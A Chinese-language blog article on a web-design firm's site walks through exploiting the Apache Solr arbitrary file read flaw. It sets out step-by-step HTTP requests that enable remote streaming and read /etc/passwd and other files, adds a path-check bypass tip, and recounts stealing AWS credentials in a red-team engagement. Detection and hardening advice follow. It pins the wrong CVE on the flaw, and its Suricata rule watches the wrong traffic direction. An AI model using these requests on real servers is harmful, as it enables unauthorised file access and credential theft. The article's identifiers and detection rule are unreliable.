尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析

Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析
📅 发布时间:2026/7/9 4:10:48

Apache Solr <= 8.8.1 任意文件读取漏洞深度解析:从手工复现到流量特征提取

漏洞背景与影响范围

Apache Solr作为企业级搜索平台,在8.8.1及以下版本中存在一个危险的任意文件读取漏洞(CNVD-2021-30146/CVE-2019-17558)。这个漏洞允许攻击者在未授权的情况下读取服务器上的任意文件,包括但不限于:

  • 系统敏感文件(/etc/passwd、/etc/shadow)
  • 应用配置文件(数据库连接字符串、API密钥)
  • 源代码文件(可能包含硬编码凭证)

受影响版本:

  • Apache Solr 5.0.0 至 8.8.1

1. 漏洞原理深度剖析

该漏洞的核心在于Solr的requestDispatcher.requestParsers.enableRemoteStreaming配置项可以被远程修改,结合debug/dump接口的流处理功能,实现任意文件读取。

1.1 漏洞利用链分解

完整的攻击流程可分为三个关键阶段:

  1. 配置篡改阶段:通过API修改enableRemoteStreaming为true
  2. 流处理激活阶段:调用debug/dump接口触发流处理功能
  3. 文件读取阶段:通过stream.url参数指定目标文件路径
POST /solr/demo/config HTTP/1.1 Host: vulnerable-host:8983 Content-Type: application/json { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }

1.2 关键参数解析

参数名称作用安全风险
enableRemoteStreaming控制是否允许远程流处理开启后允许从任意URL读取数据
stream.url指定数据流来源可被滥用指向file://协议读取本地文件
debug/dump调试接口提供原始数据输出功能

2. 手工复现全流程

2.1 环境准备与初始检测

检测漏洞是否存在:

  1. 访问Solr管理接口获取core名称:
    curl "http://target:8983/solr/admin/cores?indexInfo=false&wt=json"
  2. 检查响应中的name字段(如示例中的"demo")

必要工具:

  • Burp Suite Community/Professional
  • curl命令行工具
  • 支持HTTP代理的浏览器

2.2 分步攻击演示

步骤1:修改关键配置

使用Burp Repeater发送以下请求:

POST /solr/demo/config HTTP/1.1 Host: target:8983 Content-Type: application/json Content-Length: 92 { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }

预期响应:

{ "responseHeader": { "status": 0, "QTime": 12 } }

步骤2:构造文件读取请求

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.url=file:///etc/passwd

关键技巧:

  • 路径中的./用于绕过某些简单的路径检查
  • file://协议必须使用三个斜杠(file:///)

2.3 高级利用技巧

读取WEB-INF/web.xml:

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded stream.url=file:///var/lib/tomcat/webapps/solr/WEB-INF/web.xml

Windows系统文件读取:

stream.url=file:///C:/Windows/System32/drivers/etc/hosts

3. 流量特征分析与检测规则

3.1 关键请求特征

配置修改请求特征:

  • POST请求路径包含/config
  • JSON body中包含enableRemoteStreaming设置为true
  • Content-Type为application/json

文件读取请求特征:

  • POST请求路径包含/debug/dump
  • 参数中包含stream.url=file://
  • Content-Type为application/x-www-form-urlencoded

3.2 Suricata检测规则示例

alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"Apache Solr Arbitrary File Read Attempt"; \ flow:to_server,established; \ content:"POST"; http_method; \ content:"/config"; http_uri; \ content:"enableRemoteStreaming"; http_client_body; \ content:"true"; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)

3.3 WAF防护建议

推荐拦截规则:

  1. 监控对/solr/.*/config的POST请求
  2. 检测请求体中enableRemoteStreaming=true的JSON内容
  3. 拦截包含stream.url=file://的请求参数

4. 防御与修复方案

4.1 官方修复措施

升级方案:

  • 立即升级到Apache Solr 8.8.2或更高版本
  • 如果无法立即升级,应用官方补丁

临时缓解措施:

<!-- 在solrconfig.xml中添加 --> <requestParsers enableRemoteStreaming="false" multipartUploadLimitInKB="2048" />

4.2 安全加固建议

  1. 网络层防护:

    • 限制Solr管理接口的访问IP
    • 启用身份认证(Basic Auth或Kerberos)
  2. 系统层防护:

    • 使用专用账户运行Solr服务
    • 配置严格的文件系统权限
  3. 监控策略:

    • 日志监控异常的config修改请求
    • 建立对debug/dump接口的访问告警

在实际渗透测试项目中,这个漏洞往往能成为突破内网边界的关键点。记得在一次红队评估中,我们正是通过这个漏洞读取到了AWS元数据服务凭证,最终拿下了整个云环境控制权。

相关新闻

  • 局域网传文件还要先下载?ZmLan V1.22S更新:支持在线预览+后台管理,内网沟通效率翻倍
  • Claude Projects与传统PM工具的本质差异:不是功能叠加,而是决策延迟降低73%的底层架构革命(附架构演进时间轴)
  • 2026大庆黄金回收白银回收铂金回收工商备案可查全城上门回收旧金老店联系方式推荐

最新新闻

  • 大模型选型生死线:Kimi K2和DeepSeek V3在金融/医疗/政务三大场景落地差异,错过这篇可能多花37%算力预算
  • 银河麒麟系统如何安装nodejs
  • ChatGPT vs Claude:从Token计费陷阱到隐私合规红线,企业采购前必须验证的5个隐藏成本(含成本计算器模板)
  • 阿里滑块 234 纯算 以及 234 反解 成功率 99%
  • 【面试直击:化零为整的推土机,OceanBase 里的并行执行 (PQ) 折叠时空之术】
  • 婚前财产公证去哪里办理?婚前财产公证多久办好?

日新闻

  • SQL 查询语句的标准逻辑执行顺序(即语义处理顺序),它与实际书写顺序不同,但决定了数据库如何解析和执行查询
  • ORB-SLAM2 重定位模块深度解析:从 BoW 候选帧到 PnP 优化的 6 步流程
  • 罗技鼠标宏压枪脚本终极指南:从原理到实战的完整解析

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号